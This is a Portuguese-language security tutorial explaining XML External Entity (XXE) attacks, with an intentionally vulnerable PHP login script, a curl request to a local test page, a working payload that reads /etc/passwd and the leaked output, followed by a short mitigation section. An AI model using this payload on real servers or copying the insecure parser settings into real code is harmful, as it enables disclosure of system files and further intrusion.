O que é XML eXternal Entity?

Ataques de XXE (XML eXternal Entity) ocorre, quando uma entrada XML contendo uma referência a uma entidade externa é processada por um analisador XML configurado de forma insegura. O XML possui uma característica que permite que o desenvolvedor aponte para um endereço onde o dado está armazenado, local ou remotamente. Com isso, um atacante pode alterar essa informação e solicitar dados locais ou remotos, como no exemplo abaixo:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

A requisição contendo o código acima, irá refletir o conteúdo do arquivo passwd para o usuário. Em alguns casos a aplicação pode não refletir o resultado para o usuário, o que não quer dizer que a mesma não seja vulnerável. Esse tipo de vulnerabilidade pode causar o vazamento de informações sensíveis, DOS, SSRF, varredura de portas e até mesmo RCE em alguns casos, dentre outros problemas.

Vamos utilizar o código a seguir, para entendermos melhor como a falha se manifesta.

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "Você efetuou login como usuário $user";
?>

O script acima será executado quando executarmos a página /xml_teste.php através do comando CURL.

<creds>

<user>Admin</user>

<pass>senha</pass>

</creds>

As 4 linhas acima estão salvas no arquivo xml.txt. O arquivo xml.txt será enviado para o script PHP, usando o método POST através do comando CURL:

curl -d @xml.txt http://localhost/xml_teste.php

A resposta para a requisição acima será:

Você efetuou login como usuário Admin

Como pode ser visto, tudo ocorreu como esperado, nada de malicioso ocorreu. Lembra que no começo do artigo foi dito que "O XML possui uma característica que permite que o desenvolvedor aponte para um endereço onde o dado está armazenado, local ou remotamente"?

Exemplo prático ao atque de XML eXternal Entity

O aspecto mais interessante em arquivos XML, é que eles podem conter código que aponta para um arquivo no próprio servidor. Este é um exemplo de entidade externa. Para explorar a falha temos que modificar o conteúdo do arquivo xml.txt. O arquivo modificado irá conter o seguinte código:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [ <!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<creds>

<user>&xxe;</user>

<pass>mypass</pass>

</creds>

Analise a parte em negrito do código acima. Após enviarmos a requisição, o servidor alvo irá responder com o conteúdo do arquivo passwd:

Você efetuou login como usuário

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
mysql:x:104:107:MySQL Server,,,:/nonexistent:/bin/false
ntp:x:105:110::/home/ntp:/bin/false
stunnel4:x:106:111::/var/run/stunnel4:/bin/false
uuidd:x:107:112::/run/uuidd:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
postfix:x:109:115::/var/spool/postfix:/bin/false
shellinabox:x:110:117:Shell In A Box,,,:/var/lib/shellinabox:/bin/false

Recapitulando, o arquivo xml.txt que foi enviado na requisição, contém o código que diz para o servidor buscar a entidade externa file:///etc/passwd, em seguida, a resposta a essa requisição será adicionado a variável “$user“. A última linha do código PHP faz o echo do valor que a variável “$user” recebeu, que nesse caso foi o conteúdo do arquivo passwd.

Sempre que você encontrar XML trafegando pela aplicação web, realize testes para saber se a mesma é vulnerável.

Como se proteger ao atque de XML eXternal Entity?

A proteção contra XXE não é uma tarefa fácil, uma vez que, o problema se encontra nas mais variadas bibliotecas que realizam a análise do XML, mas a utilização da função libxml_disable_entity_loader(true) vai desabilitar a resolução de entidade externa. Isso não vai resolver todos os problemas, mas ajuda.

Referências:

owasp.org/index.php/XML_External_Entity_(XXE)_Processing

phpsecurity.readthedocs.io/en/latest/Injection-Attacks.html

colesec.inventedtheinternet.com/attacking-xml-with-xml-external-entity-injection-xxe/